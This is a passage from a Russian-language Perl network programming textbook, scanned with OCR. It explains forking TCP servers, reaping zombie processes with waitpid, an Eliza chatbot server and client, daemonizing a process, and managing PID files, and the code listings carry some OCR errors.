родительский процесс получает сигнал CHLD, но фактически здесь не происходит
завершения ни одного дочернего процесса. Функция wait() переходит в состояние
ожидания на неопределенное время и приводит к останову сервера — такое развитие
событий является нежелательным.
Еще одна ситуация, которая может нарушить работу этого несложного
обработчика сигнала, — почти одновременное завершение двух или более дочерних процессов.
Механизм распространения сигналов системы UNLX способен в любой момент
обрабатывать только один сигнал конкретного типа. Два события завершения будут
увязаны в единственное событие CHLD и доставлены серверу. Несмотря на то что нужно
будет убрать два дочерних процесса, сервер вызовет функцию wait () только один
раз и оставит зомби. Эта "утечка ресурсов, связанная с наличием зомби", становится
заметной по истечении достаточно продолжительного периода времени.
Последняя нежелательная ситуация — когда родительский процесс выполняет
вызовы, которые приводят к порождению подпроцессов, в частности вызовы с
использованием оператора обратных одинарных кавычек (*ч); функции system(); и
функции open () открытия канала. Для этих функций интерпретатор Perl берет на себя
вызов функции wait () перед возвращением основной части кода. Однако на
некоторых платформах "проскакивают" лишние сигналы CHLD, даже несмотря на то что нет
неубранных дочерних процессов, для которых должна быть вызвана функция
wait (), поэтому вызов этой функции снова зависает.
Решение этих проблем состоит в вызове функции waitpid () с указанием
параметра $pid, равного -1, и параметра flag со значением WNOHANG. Первый параметр
сообщает функции waitpid (), чтобы она убирала все доступные дочерние процессы.
Второй параметр предотвращает зависание вызова, если нет дочерних процессов,
доступных для уборки. Для предотвращения утечки ресурсов, связанной с появлением
зомби, необходимо вызывать функцию waitpid () в цикле до т«х пор, пока она не
314
Часть III. Разработка систем TCP типа клиент/сервер
укажет, что нет больше завершенных дочерних процессов, которые можно убрать из
таблицы процессов, возвратив код результата -1.
Ниже приведена общая схема такого кода:
use POSIX 'WNOHANG';
$SIG{CHLD) = \&reaper;
sub reaper {
while ((my $kid = waitpid(-l,WNOHANG)) > 0) {
warn "Reaped child with PID $kid\n";
}
}
В этом случае в целях отладки на устройство вывода выводится РШ убранного
дочернего процесса. Во многих случаях можно игнорировать РШ дочернего процесса, но и
тогда возникает необходимость исследовать полученный PID дочернего процесса и код
состояния, а затем выполнять определенные действия, если произошло аварийное
завершение дочернего процесса. Подобные примеры рассматриваются в следующих разделах.
Психотерапевтический сервер с функцией fork()
Теперь мы можем переписать пример психотерапевтической программы в виде
сервера с ветвлением (листинг 10.2).
Листинг 10.2. Психотерапевтическая программа, оформленная как сервер
с ветвлением
0: #!/usr/local/bin/perl -w
1: # Файл: eliza_server.pl
2: use strict;
3: use Chatbot::Eliza;
4: use 10::Socket;
5: use POSIX 'WNOHANG';
6: use constant PORT => 12000;
7: my $quit =0;
8: # Обработчик сигналов, связанных с уничтожением дочерних
# процессов
9: $SIG{CHLD} = sub { while ( waitpid(-1,WNOHANG)>0 ) { \ };
10: # Обработчик сигнала прерывания и сигнала TERM
11: $SIG{INT} = sub { $quit++ };
12: my $listen_socket = 10::Socket::INET->new(LocalPort=>PORT,
13: Listen =>20,
14: Proto =>'tcp',
15: Reuse =>1,
16: Timeout =>60*60,
17: };
18: die "Can't create a listening socket: $@"
unless $listen_socket;
19: warn "Server ready. Waiting for connections...\n";
20: while (!$quit) {
Глава 10. Серверы с ветвлением и демон inetd
315
21: next unless my $connection = $listen_socket->accept;
22
23
24
25
26
27
defined (my $child = fork()) or die "Can't fork: $!";
if ($child ==0) {
$listen_socket->close;
interact($connection);
exit 0;
}
28: $connection->close;
29: }
30: sub interact {
31: my $sock = shift;
32: STDIN->fdopen($sock,"<")
or die "Can't reopen STDIN: $!";
33: STDOUT->fdopen($sock,">")
or die "Can't reopen STDOUT: $!";
34: STDERR->fdopen($sock,">")
or die "Can't reopen STDERR: $!";
$1=1;
my $bot = Chatbot::Eliza->new;
$bot->command interface();
35
36
37
38
}
Проведем анализ программы.
Строки 1-5. Загрузка модулей. Работа начинается с загрузки модулей chatbot::Eliza
и Ю::Socket и импорта константы wnohang из модуля posix. Определяется также порт, из
которого должен принимать запросы сервер, в данном случае порт с номером 12000.
Строки 6, 7. Определение констант и переменных. Определяется применяемый по
умолчанию порт, к которому должна быть выполнена привязка, и инициализируется глобальная
переменная Squit, которая принимает ложное значение. Как только эта переменная примет
истинное значение, произойдет выход из главного цикла сервера.
Строки 8-11. Установка обработчиков сигналов. Устанавливается обработчик сигнала chld
с использованием общей схемы применения функции waitpid(), которая была описана ранее.
$SIG{CHLDJ = sub { while ( waitpid(-l,WNOHANG)>0 ) { } };
Желательно также обеспечить корректное завершение работы сервера после ввода кода
прерывания в командной строке, поэтому создается обработчик сигнала int. Этот обработчик
просто устанавливает истинное значение переменной $quit и выполняет возврат.
Строки 12-19. Создание приемного сокета. Создается новый приемный сокет путем вызова
метода ю::Socket: :iNET->new() с параметрами LocalPort и Listen. Указан также
параметр Proto, равный "tcp", и установлено истинное значение параметра Reuse, что
позволяет уничтожать и перезапускать сервер без ожидания освобождения порта, которое в ином
случае было бы неизбежным.
Кроме этих стандартных параметров, объявлен параметр Timeout, равный 1 часу. Как и в
инвертирующем эхо-сервере, приведенном в листинге 5.3, это сделано для того, чтобы иметь
возможность прерывать выполнение функции accept () по сигналу. Необходимо обеспечить
выполнение преждевременного возврата функции accept () при прерывании по сигналу int.
чтобы можно было проверить состояние переменной $quit.
Строки 20, 21. Прием входящих соединений. Теперь сценарий входит в цикл while О. При
каждом проходе по циклу вызывается функция accept () для получения объекта IO:: socket,
подключенного к новому клиенту.
Строки 22-27. Ветвление: запуск дочернего процесса для обработки соединения. После
возврата управления функцией accept () не происходит переход непосредственно к взаимо-
316
Часть III. Разработка систем TCP типа клиент/сервер
действию по подключенному сокету, а немедленно вызывается функция fork () и код
результата сохраняется в переменной $chiid. Если значение переменной Schild является
неопределенным, это значит, что вызов функции fork () по какой-то причине окончился неудачей,
поэтому вызывается функция die с сообщением об ошибке.
В ином случае, если значение переменной $ch±id равно о, это значит, что управление передано
дочернему процессу, который отвечает за выполнение сеанса связи. Дочерний процесс не
должен снова вызывать функцию accept (), поэтому принадлежащая ему копия приемного сокета
закрывается. Строго говоря, эта операция закрытия не является необходимой. Однако всегда
рекомендуется освобождать все ненужные ресурсы, к тому же, это позволяет исключить
возможность непреднамеренного выполнения дочерним процессом операций с приемным сокетом.
Теперь вызывается подпрограмма interact (), которой передается подключенный объект
сокета; сама подпрограмма ведет диалог с программой Eliza и выполняет возврат, когда
пользователь разрывает соединение (например, введя строку "bye"). После возврата из подпрограммы
interact () дочерний процесс завершает свою работу путем вызова функции exit ().
• Строки 28, 29. Завершение работы родительского процесса. Если значение переменной
Schild отлично от нуля, то управление находится в родительском процессе. В этом случае
достаточно просто закрыть принадлежащую ему копию подключенного сокета и вернуться в
начало цикла для приема с помощью функции accept () еще одного соединения. Пока
родительский процесс ожидает нового соединения, дочерний процесс обрабатывает старое.
• Строки 30-38. Подпрограмма interact (). Эта подпрограмма вызывается дочерним
процессом для выполнения всех операций взаимодействия между клиентом и сервером.
Метод commandinterface () модуля Chatbot: :Eliza жестко запрограммирован на чтение
из устройства stdin и запись в устройство stdout. Однако нам необходимо вместо этого
выполнять чтение и запись в сокете.
Фактически эту проблему решить несложно. При загрузке модуль Ю::Socket вызывает также
методы родительского класса iO::Handle. В число этих методов входит fdopenf), который
рассматривался в главе 1 (модули Ю: :Handle и Ю:: File). Метод fdopen () закрывает
существующий дескриптор файла, а затем вновь открывает его с использованием информации из
другого переданного ему дескриптора файла. Он работает с любым дескриптором файла, в том
числе с тремя стандартными. В этой программе метод fdopen () вызывается три раза, для stdin,
stdout и STDERR. При каждом вызове методу fdopenf) передается объект сокета и символьное
обозначение режима доступа. Устройство stdin переоткрывается для чтения в режиме <, а
устройства stdout и stderr — для записи в режиме >. А теперь, почти как по мановению
волшебной палочки, при выводе в устройства stdout и stderr данные будут записываться в
подключенный сокет, а при вводе из устройства stdin будут считываться из сокета.
Остальная часть этой подпрограммы идентична психотерапевтической программе с
интерфейсом командной строки, приведенной в листинге 10.1. Включен режим автоматического
сброса, чтобы данные, выводимые из устройства stdout объектом chatbot::Eliza,
немедленно поступали на удаленный конец соединения, создается новый объект chatbot::Eliza
и вызывается его метод command_interf асе ().
Запустив сервер, вы можете убедиться в том, что у вас есть возможность
подключиться по telnet к порту 12000, поделиться с "психотерапевтом" своими
переживаниями и рассказать о проблемах. Без закрытия предыдущего сеанса откройте новое
окно и снова подключитесь по telnet к порту 12000. Вы сможете провести
одновременно несколько сеансов. Выполните программу ps, чтобы убедиться в том, что
каждый активный сеанс создает новую копию сервера, а после закрытия сеанса соответ^
ствующий процесс немедленно исчезает, не оставляя зомби. После проверки
уничтожьте сервер, нажав клавиши <Ctrl+C>.
Ниже приведен пример сервера в действии.
% telnet localhost 12000
Trying 127.0.0.1...
Connected to localhost.
Escape character is ""] ' .
Eliza: How do you do. Please tell me your problem.
you: hey this really works!
Глава 10. Серверы с ветвлением и демон inetd
317
Eliza: I'm not sure I understand you fully.
you: you are a server
Eliza: Perhaps you would like to be a server.
you: no
Eliza: Why not?
you: quit
Eliza: Goodbye. It was nice talking to you.
Connection closed by foreign host.
Применение психотерапевтического сервера на
платформах Windows
Хотя функция fork () работает в системах Windows, в них функция fdopen () не
может применяться с сокетами. В системах Windows необходимо изменить
подпрограмму interact () листинга 10.2 и исключить в ней вызов функции f dopen ().
Проще всего это сделать, заменив вызов метода coramand_interf асе () новой
версией, которая вместо жестко запрограммированных устройств STDIN и STD0UT
принимает к использованию дескрипторы входного и выходного файлов. В следующей
главе в листинге 11.2 разработан подкласс Chatbot: :Eliza::Server класса
Chatbot: : Eliza, который выполняет именно эту задачу.
Для запуска этого сервера с ветвлением на платформах Windows введите вместо
строки Chatbot: : Eliza следующую строку:
use Chatbot: ■:Eliza:: Server;
и измените подпрограмму interact (), чтобы она выглядела примерно так:
sub interact {
my $sock = shift;
my $bot = Chatbot::Eliza::Server->new;
$bot->command_interface($sock, $sock);
close $sock;
}
Клиентский сценарий для
психотерапевтического сервера
Прежде чем перейти к дальнейшему описанию серверов с ветвлением, подготовим
сценарий, с помощью которого можно было бы взаимодействовать с
психотерапевтическим сервером. В конце концов, нас никто не заставляет пользоваться давно уже
устаревшей программой telnet, когда мы можем использовать Perl! А если говорить
серьезно, то этот сценарий иллюстрирует возможность использования функций
sysread () и syswrite () для работы с небуферизованными потоками байтов.
На первый взгляд кажется, что сценарий gab2. pi, разработанный в главе 5
(листинг 5.6), вполне соответствует требованиям, предъявляемым к клиентской
программе для этого сервера. Однако при использовании сценария gab2 . pi возникает
проблема, поскольку он был разработан для построчного обмена данными, когда
сервер отправляет клиенту целые строки, оканчивающиеся символами CRLF. Однако
психотерапевтический сервер не полностью ориентирован на обработку строковых
318 Часть III. Разработка систем TCP типа клиент/сервер
данных. Во-первых, в нем для обозначения конца строк применяются символы,
которые предусмотрены в модуле Chatbot:: Eliza (оказалось, что это логический
символ обозначения конца строки "\п"). Во-вторых, приглашение "you:", отправляемое
сервером после вывода каждого очередного высказывания, не заканчивается
символом конца строки. В результате совместного действия этих факторов оказывается,
что после вызова с указанием порта психотерапевтического сервера сценарий
gab2. pi не выводит никакой информации.
Здесь нужен более универсальный клиентский сценарий, ориентированный на
обработку потоков байтов, который вводит и выводит данные в виде: произвольных
фрагментов, как только они становятся доступными, а не ожидает появления
законченных строк. Оказалось, что достаточно внести незначительные изменения в
сценарий gab2. pi, чтобы превратить его в клиентский сценарий такого типа.
В листинге 10.3 показан пересмотренный сценарий, gab3.pl. Наиболее
значительные изменения внесены в подпрограммы user_to_host () и host_to_user ().
Вместо вызовов функций чтения и записи, ориентированных на обработку строк,
которые применялись в предыдущей версии, теперь эти подпрограммы состоят из
непрерываемых циклов, в которых используются функции sysread() и syswrite ().
Например, ниже приведен фрагмент кода подпрограммы host_to_user ();
выполняется чтение из сокета и запись в устройство STD0UT:
syswrite(STDOUT,$data) while sysread($s,$data,BUFSIZE);
Листинг 10. . Клиент gab, ориентированный на обработку потока байтов
0: #!/usr/local/bin/perl -w
1: # Файл: gab3.pl
2: # Применение: gab3.pl [хост] [порт]
3: use strict;
4: use IO::Socket;
5: use constant BUFSIZE => 1024;
6: my $host = shift or die "Usage: gab3.pl host [port]\n";
7: my $port = shift II 'echo*;
8: my $data;
9: my $socket = IO::Socket::INET->new("$host:$port")
or die $@;
10: my $child = fork();
11: die "Can't fork: $!" unless defined $child;
12
13
14
15
16
17
18
19
if ($child) {
$SIG{CHLD} = sub { exit 0 );
user_to_host($socket);
$socket->shutdown(l);
sleep;
) else {
host_to_user($socket) ;
warn "Connection closed by foreign host.Xn";
Глава 10. Серверы с ветвлением и демон inetd 319
\
20: }
21: sub user_to_host {
22: my $s = shift;
23: syswrite($s,$data) while sysread(STDIN,$data,BUFSIZE);
24: }
25: sub host_to_user {
26: my $s = shift;
27: syswrite(STDOUT,$data) while sysread($s,$data,BUFSIZE);
28: }
Кроме того, внесены изменения в подпрограмму user_to_host (), которая
отвечает за копирование в сокет данных, вводимых пользователем:
syswrite($s,$data) while sysread(STDIN,$data,BUFSIZE);
Значение параметра BUFSIZE можно выбрать относительно свободно. С точки
зрения повышения производительности параметр должен иметь размер, примерно
равный максимальному фрагменту текста, который передается с
психотерапевтического сервера, но он вполне успешно работает и при меньших, и при больших
размерах буфера. В данном случае автор выбрал для этой константы значение 1024,
которое, очевидно, вполне приемлемо.
Следует подчеркнуть, что в этой программе применяется функция sysread(),
а не read (), которая обеспечивает чтение данных с буферизацией, поскольку
функция sysread () допускает частичное чтение. Если в буфере отсутствуют данные
в объеме BUFSIZE, доступные для чтения, функция sysread () возвращает весь
доступный объем данных, a read (), в отличие от нее, переходит в состояние ожидания
условий удовлетворения запроса и блокируется, задерживая ответ
психотерапевтического сервера на неопределенно долгое время. Однако нельзя провести такое же
сравнение функций syswrite () и print (). Поскольку автоматический сброс
буферов объектов 10:: Socket предусмотрен по умолчанию, функции syswrite ()
и print () действуют полностью одинаково.
Примечания к сценарию gab3.pl
После разработки сценария даЬЗ. pi автора заинтересовало, какими
характеристиками производительности обладает этот сценарий по сравнению с версией,
работающей по принципу "отправить— подождать— прочитать", которая приведена
в листинге 5.5 (gabl .pi), и версией с ветвлением, ориентированной на построчный
обмен данными, которая приведена в листинге 5.6 (gab2.pl). Для этого автор
вычислил время выполнения этих трех сценариев, передавая большой текстовый файл
на стандартный эхо-сервер. Такая проверка обеспечивает успешное выполнение
и сценариев, ориентированных на обмен строковыми данными, и сценариев,
ориентированных на обмен потоками байтов.
В результате автор обнаружил повышение быстродействия при использовании
сценария gab3.pl, который превосходит по быстродействию gabl.pl примерно
в пять раз, a gab2 . pi — в 1,5 раза. Такое повышение эффективности при переходе от
однозадачного проекта к многозадачному является весьма впечатляющим и отражает
тот факт, что в многозадачном проекте сетевой канал остается заполненным и
передает данные одновременно в обоих направлениях, тогда как в проекте, работающем
320
Часть III. Разработка систем TCP типа клиент/сервер
по принципу "отправить— подождать— прочитать", в любое время используется
только половина пропускной способности и происходит ожидание выполнения всей
операции передачи перед отправкой ответа.
Еще одним интересным результатом проверки производительности является то,
что при попытке заменить в сценарии даЬЗ. pi встроенные вызовы функций
syswrite () и sysread () их объектно-ориентированными оболочками произошло
снижение производительности на 20 процентов, что определяется издержками
вызова метода Perl. Вероятно, это снижение не имеет существенного значения
в большинстве сетевых приложений, быстродействие которых в основном зависит
от скорости работы сети, но его следует учитывать в тех непрерываемых
внутренних циклах, для которых требования к производительности являются
исключительно важными.
Кроме того, при выполнении проверки сценария gab3.pl с сервером
eliza_server.pl автор обнаружил явную ошибку в методе command_interface ()
модуля Eliza. При чтении строки ввода с устройства STDIN этот метод никогда не
проверяет признак конца файла. В результате после завершения соединения со
стороны клиента метод command_interfасе () входит в очень неприятный
бесконечный цикл, который бесполезно тратит процессорное время.
Эту проблему проще всего решить, откорректировав метод _testquit () модуля
Chatbot: : Eliza _testquit (), который проверяет наличие во входной строке слов
наподобие "quit" и "bye". Путем проверки того, не является ли значение этой строки
неопределенным, в методе testquit () можно обнаружить конец файла. Вставьте
следующее определение где-то в конце сценария сервера Eliza.
sub Chatbot::Eliza::_testquit {
my ($self,$string) = G_;
return 1 unless defined $string; # Проверка признака EOF
foreach (G{$self->{quit}})
( return 1 if $string =~ /\b$_\b/i };
}
Теперь сервер будет обнаруживать условие конца файла и правильно
реагировать на него.
Применение демонов в системах UNIX
Рассматриваемый психотерапевтический сервер с ветвлением имеет один
недостаток . После запуска' он не переходит автоматически в фоновый режим, а остается
привязанным к терминалу, где может быть по неосторожности остановлен из-за
случайного нажатия клавиши прерывания. Безусловно, пользователь, запустивший
сервер с командной строки, всегда может перевести его в фоновый режим, но это
неудобно и чревато ошибками, поскольку сервер может быть снова по неосторожности
возвращен в режим переднего плана.
В этом описании в основном рассматривается модель обработки UNIX и оно не относится к системам
Macintosh или Windows. Пользователи Windows NT и 2000 могут превращать сценарии Peri в фоновые службы с
использованием упшлиты srvany. ехе. См. раздел "Перевод процессов в фоновый режим в системах Windows
и Macintosh" далее в этой главе.
Глава 10. Серверы с ветвлением и демон ineld
321
В системе UNIX большинство сетевых серверов действует как "демоны". После
запуска они переходят в фоновый режим и продолжают работать до тех пор, пока не
будут преднамеренно уничтожены или не произойдет останов самой системы. К ним
нет доступа из окна терминала или командной строки. Демоны не имеют доступа
к стандартным устройствам ввода-вывода, поэтому для регистрации сообщений с
кодом состояния они должны записывать их в файл. Слово "демон" было выбрано по
аналогии с образом магического слуги волшебника, который мгновенно вьтолняет
все обращенные к нему просьбы, но никогда не показывается на глаза. В данном
случае демоном является сервер, а волшебником — связь по сети.
После запуска демон должен автоматически перевести самого себя в фоновый
режим и закрыть свои дескрипторы стандартных устройств ввода данных, вывода
данных и вывода сообщений об ошибках. Он должен также полностью отделить себя от
"управляющего терминала" (окна терминала или консоли, с которой был запущен
демон). Эти операции преследуют две цели. Одна из них состоит в том, чтобы
программа демона (или запущенный ею подпроцесс) не имела возможности вновь открыть
терминальное устройство и непреднамеренно вывести выходную информацию,
которая смешается с выводом других программ. Вторая состоит в том, что демон не
получит сигнал HUP (сокращение от hangup), который приводит к завершению всех
пользовательских процессов, если пользователь выйдет из командной оболочки
после запуска сервера.
Сетевые демоны должны также выполнить следующее.
1. Перейти из своего текущего каталога в корневой. Это позволяет
нормализовать переменные среды и избежать проблем, связанных с размонтированием
файловой системы, из которой был запущен демон.
2. Перевести свою маску создания файла в известное состояние (а не наследовать
ее от командного интерпретатора).
3. Нормализовать переменную среды PATH.
4. Записать свой идентификатор процесса в один из файлов каталога /var/run
или подобного каталога.
5. В качестве необязательного требования, воспользоваться программой syslog
(или программой ведения журнала событий системы Windows) для записи
диагностических сообщений в системный журнал.
6. В качестве необязательного требования, обработать сигнал HUP, повторно
инициализируя собственный процесс или перезагружая файлы конфигурации.
7. В качестве необязательного требования, применить вызов chroot () для
перевода самого себя в часть файловой системы с ограниченным доступом и/или
установления для себя прав непривилегированного пользователя системы.
Автоматический перевод в фоновый режим
В этом разделе будет разработана процедура автоматического перевода сетевых
демонов в фоновый режим и выполнения задач 1-4. В главе 16 рассматриваются
способы решения задач 5-7,
В листинге 10.4 приведена подпрограмма become_daemon (), которая должна
быть вызвана серверным процессом на самой ранней стадии инициализации. В ней
322
Часть Ш. Разработка систем TCP типа клиент/сервер
применяется стандартный способ перевода программы в фоновой режим и
отделения от управляющего терминала системы UNIX. В данной подпрограмме сценарий
выполняет собственное ветвление (строка 2) и родительский процесс завершается,
оставляя контроль только за дочерним процессом.
Затем дочерний процесс открывает новый сеанс, вызывая функцию setsid(),
предусмотренную в модуле POSIX (строка 4). Сеанс — это группа процессов, которые
разделяют один и тот же терминал. В любой момент времени только один член
группы имеет право чтения и записи на терминал; считается, что он находится в режиме
переднего плана, в то время как другие члены группы остаются в фоновом режиме
(и при попытке выполнить ввод-вывод на терминал они приостанавливаются до
перехода в режим переднего плана). Эта система применяется в командных
интерпретаторах для реализации управления заданиями.
Группа сеанса связана с группой процесса, но не идентична ей. Группа процесса
представляет собой набор подпроцессов, которые были запущены единственным
родительским процессом, и обозначается целым числом, соответствующим
идентификатору PID общего предка группы. Чтобы определить группу процесса для
конкретного процесса, можно вызвать функцию getpgrpO языка Perl и передать функции
kill () отрицательное значение идентификатора группы процесса для отправки
одного и того же сигнала одновременно всем членам группы. Именно так действует
командный интерпретатор, отправляя сигнал HUP всем своим подпроцессам
непосредственно перед завершением работы. Дочерний процесс, вновь созданный путем
ветвления, принадлежит к той же группе сеанса и группе процесса, что и его
родительский процесс.
ЛИСТИНГ 10.4. Подпрограмма become daemon ()
0: use POSIX 'setsid';
1
2
3
4
5
б
7
8
9
10
11
12
sub become_daemon {
die "Can't fork" unless defined (my $child = fork);
exit 0 if $child; # Завершение родительского процесса
setsid(); # Преобразование в лидера сеанса
open(STDIN, "</dev/null");
open(STDOUT,">/dev/null");
open(STDERR,">&STDOUT");
chdir '/'; # Смена рабочего каталога
umask(O); # Сброс маски режима создания файла
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin';
return $$;
}
Функция setsid() выполняет несколько действий. Она создает одновременно
и новую группу сеанса, и новую группу процесса, а также преобразует текущий
процесс в лидера сеанса. Одновременно она отделяет текущий процесс от управляющего
терминала В результате этот дочерний процесс становится полностью независимым
от командного интерпретатора. Функция setsid() завершается аварийно, если
данный процесс уже является лидером сеанса к моменту ее вызова (т.е. он находится на
переднем плане), но выполненный перед этим вызов функции fork () гарантирует,
что этого не произойдет.
Глава 10. Серверы с ветвлением и демон inetd
323
После вызова функции setsid () дескрипторы файлов STDIN и STDOUT вновь
открываются в специальное "ничего не выполняющее" устройство /dev/null, а
дескриптор STDERR становится копией дескриптора STDOUT (строки 5-7). Это позволяет
исключить возможность появления выходных данных демона на терминале. Затем
вызывается функция chdir () для перехода из текущего каталога в корневой каталог
файловой системы, переустанавливается маска создания файлов в значение 0 и
переменная среды PATH определяется равной небольшому числу стандартных каталогов
(строка 10). Возвращается новый идентификатор процесса из глобальной
переменной $$. Поскольку было выполнено ветвление, теперь идентификатор процесса
отличается от того, с которым была вызвана эта подпрограмма, и явный возврат нового
значения PID таким образом — это для любого программиста хороший способ
напомнить самому себе об этом факте.
Подпрограмма become_daemon () имеет ряд вариантов. В [15] рекомендуется
выполнять ветвление не один раз, а дважды; в этом документе предупреждается, что
в ином случае первый дочерний процесс может снова открыть управляющий
терминал, если в нем будет преднамеренно вновь открыто устройство /dev/tty. Однако
это маловероятно, поэтому вариант сценария с двойным ветвлением применяется
далеко не на всех промышленных серверах.
Вместо переоткрытия стандартных дескрипторов файлов в устройство
/dev/null их можно просто закрыть.
close $_ foreach (\*STDIN,\*STDOUT,\*STDERR);
Однако при таком построении сценария может быть нарушена работа
подпроцессов, которые рассчитывают на наличие открытых стандартных дескрипторов
файлов, поэтому лучше его не применять.
И наконец, в некоторых более старых системах UNIX, таких как ULTRIX, рабочая
версия функции setsid () отсутствует. В подобных системах вызов функции
setsid () приводит к возникновению ошибки времени выполнения. В таких
системах можно использовать модуль Proc: : Daemon из архива CPAN, который содержит
другие подходящие средства.
Файлы PID
Теперь для нашего психотерапевтического сервера может быть предусмотрено
еще одно средство — файл PID. В соответствии с общепринятым соглашением
серверы и другие системные демоны записывают свои идентификаторы процессов в
файлы с именами наподобие /var/run/servername .pid. Перед завершением работы
сервер удаляет этот файл. Это позволяет системному администратору и другим
пользователям посылать сигналы демон)', используя следующее сокращение:
kill -TERM xcat /var/run/servername.pid'
В хорошей программе демона можно предусмотреть проверку наличия этого
файла во время запуска и отказ от работы, если он уже существует, поскольку наличие
этого файла может указывать на то, что уже запущен другой экземпляр сервера. Еще
более развитые программы демонов проверяют, действительно ли работает процесс,
на который указывает этот файл PID. Возможно, что предыдущий сеанс работы
сервера завершился аварией или был уничтожен, поэтому серверная программа не имела
возможности удалить этот файл. Такое решение реализовано в подпрограмме
open_pid_f ile (), приведенной в листинге 10.5.
324
Часть III. Разработка систем TCP типа клиент/сервер
Листинг 10.5. Подп.о >амма openj?id_file()
9
10
11
12
sub open_pid_file {
my $file = shift;
if (-e $file) { # Ошибка. Файл pid уже существует
my $fh = IO::File->new($file) II return;
my $pid = <$fh>;
die "Server already running with PID $pid"
if kill 0 => $pid;
warn "Removing PID file for defunct server process
$pid.\n";
die "Can't unlink PID file $file"
unless -w $file && unlink $file;
}
return 10::File->new($file,0_WRONLY|0_CREAT|0_EXCL,0644)
or die "Can't create $file: $!\n";
}
Проведем анализ программы.
Строки 1-3. Проверка того, существует ли старый файл PID. Подпрофамма
open_pid_f ile () вызывается с параметром, который указывает путь к файлу PID. Первое
действие состоит в применении опции файловой проверки -е к этому файлу для определения
того, существует ли он.
Строки 4-6. Проверка того, является ли старый файл PID действительным. Если
файл PID существует, можно перейти к проверке того, работает ли еще процесс, на
который он указывает. Для открытия старого файла PID и чтения из него числового
идентификатора процесса применяется модуль т.о.- :Flie. Для определения того, работает ли
еще этот процесс, используется функция kill (), которая отправляет процессу сигнал
с номером о. Этот специальный сигнал фактически не передает никаких сигналов
процессу, а возвращает истинное значение, если указанный процесс (или группа процессов)
может принимать сигналы. Если функция kill () возвращает истинное значение, это
свидетельствует о том, что процесс все еще работает, и поэтому выполняется выход
с сообщением об ошибке.
В ином случае, если функция kill () возвращает ложное значение, это значит, что
предыдущий серверный процесс завершился некорректно, без уничтожения своего файла PID,
или работает под другим идентификатором пользователя и текущий процесс не имеет
достаточных привилегий для отправки ему сигнала. Мы не принимаем во внимание последний
случай, поскольку предполагается, что запуск сервера всегда происходит от имени одного
и того же пользователя. Если это предположение является ложным, то попытка уничтожить
старый файл PID на следующем этапе завершится аварийно и не произойдет опасного
развития событий.
Строки 7-9. Уничтожение старого файла PID. В стандартный вывод сообщений об ошибках
записывается предупреждение и предпринимается попытка уничтожить старый файл PID
после предварительной проверки с помощью оператора файловой проверки -w того, что он
предназначен для записи. Если проверка -w или вызов функции unlink о оканчивается
неудачей, происходит аварийное завершение сценария.
Строки 10-12. Создание нового файла PID. Последние два этапа состоят в создании нового
файла PID и открытии его для записи. Вызывается метод ю: :File->new() с таким
сочетанием флажков, которое позволяет создать файл и открыть его, но только если он еще не
существует. Это исключает возможность случайно затереть файл в том случае, если запуск
сервера был выполнен два раза подряд с небольшим промежутком времени, оба экземпляра
проверили наличие файла PID и обнаружили, что он отсутствует, и почти одновременно пытаются
создать новый файл PID. В случае успешного выполнения открытый дескриптор файла
возвращается вызывающему оператору.
Глава 10. Серверы с ветвлением и демон inetd
325
Подпрограмма open_pid_f ile () должна быть вызвана перед автоматическим
переводом сервера в фоновой режим. Это дает возможность выдать сообщения об
ошибках перед закрытием стандартного устройства вывода сообщения об ошибках.
После этого вызывающая программа должна вызвать подпрограмму
become_daemon () для получения нового идентификатора процесса и записи
полученного PID в файл РГО с использованием дескриптора файла, возвращенного
подпрограммой open_pid_file (). Ниже приведен полный фрагмент кода,
иллюстрирующий общую схему автоматического перевода в фоновый режим:
use constant PID_FILE => */var/run/servername.pid';
$SIG{TERM} = $SIG{INT} = sub { exit 0; }
my $fh = open_pid_file(PID_FILE) ;
my $pid = become_daemon();
print $fh $pid;
close $fh;
END { unlink PID_FILE if $pid == $$; }
В соответствии с общепринятым соглашением, во многих системах UNIX для
записи файлов PID работающих демонов используется каталог /var/run. В системах
Solaris используется каталог /etc или /usr/local/etc.
Блок END {} гарантирует удаление сервером файла PID перед выходом. Файл
удаляется, только если идентификатор текущего процесса совпадает с
идентификатором процесса, возвращенным подпрограммой become_daemon(). Это
исключает возможность непреднамеренного удаления этого файла любым из
дочерних процессов сервера.
Установка обработчиков сигналов TERM и INT предусмотрена для обеспечения
нормального завершения серверной программы при получении этих сигналов.
В ином случае блок END { } не был бы выполнен и файл PID остался бы в системе
после завершения работы сервера.
В листинге 10.6 приведен сценарий eliza_daemon.pl усовершенствованного
сервера с ветвлением, в котором все эти методы собраны воедино. В этом коде
нет никаких незнакомых конструкций, кроме того, что вместо размещения файла
PID в стандартном каталоге /var/run, в этом примере применяется файл
/var/tmp/eliza.pid. Каталог /var/run —привилегированный каталог, в
который может записывать файлы только программа, выполняемая с привилегиями
суперпользователя (пользователя root). Однако это могло бы привести к
нарушению требований защиты, а эти вопросы не рассматриваются до главы 16. По
причинам, которые описаны в указанной главе, не рекомендуется использовать
процесс с правами пользователя root для записи в такой каталог (доступный для
записи любому пользователю), как /var/tmp, но вполне можно выполнять эту
запись с правами непривилегированного пользователя. В этом сценарии
внесено также исправление в подпрограмму Chatbot: :Eliza: :_testquit (),
описанное ранее.
Следует также отметить, что здесь приемный сокет создается перед вызовом
подпрограммы become_daemon (). Это дает возможность в случае каких-либо нарушений
вызвать функцию die с сообщением об ошибке, прежде чем в подпрограмме
become_daemon () будет закрыто стандартное устройство вывода сообщения об
ошибках. В главе 16 описано, как обеспечить регистрацию демонами ошибок в файле
или воспользоваться для этого системой syslog.
326
Часть III. Разработка систем TCP типа клиент/сервер
Листинг 10.6. Се»ве» Eliza версия с ветвлением) с кодом >емона
0: #!/usr/local/bin/perl -w
1: # Файл: eliza_daemon.pl
2: use strict;
3: use Chatbot::Eliza;
4: use IO::Socket;
5: use IO::File;
6: use POSIX qw(WNOHANG setsid);
7: use constant PORT => 12000;
8: use constant PIDFILE => '/var/tmp/eliza.pid';
9: my $quit = 0;
10: # Обработчик сигналов, связанных с уничтожением дочерних
# процессов
11: $SIG{CHLD} = sub { while ( waitpid(-l,WNOHANG)>0 ) { } };
12: $SIG{TERM} = $SIG{INT} - sub ( $quit++ };
13: my $fh = open_pid_file(PID_FILE);
14: my $listen_socket = IO::Socket::INET->new(
LocalPort => shift || PORT,
15: Listen => 20,
16: Proto => 'tcp',
17: Reuse => 1,
18: Timeout => 60*60,
19: );
20: die "Can't create a listening socket: $G"
unless $listen_socket;
21: warn "$0 starting...\n";
22: my $pid = become_daemon();
23: print $fh $pid;
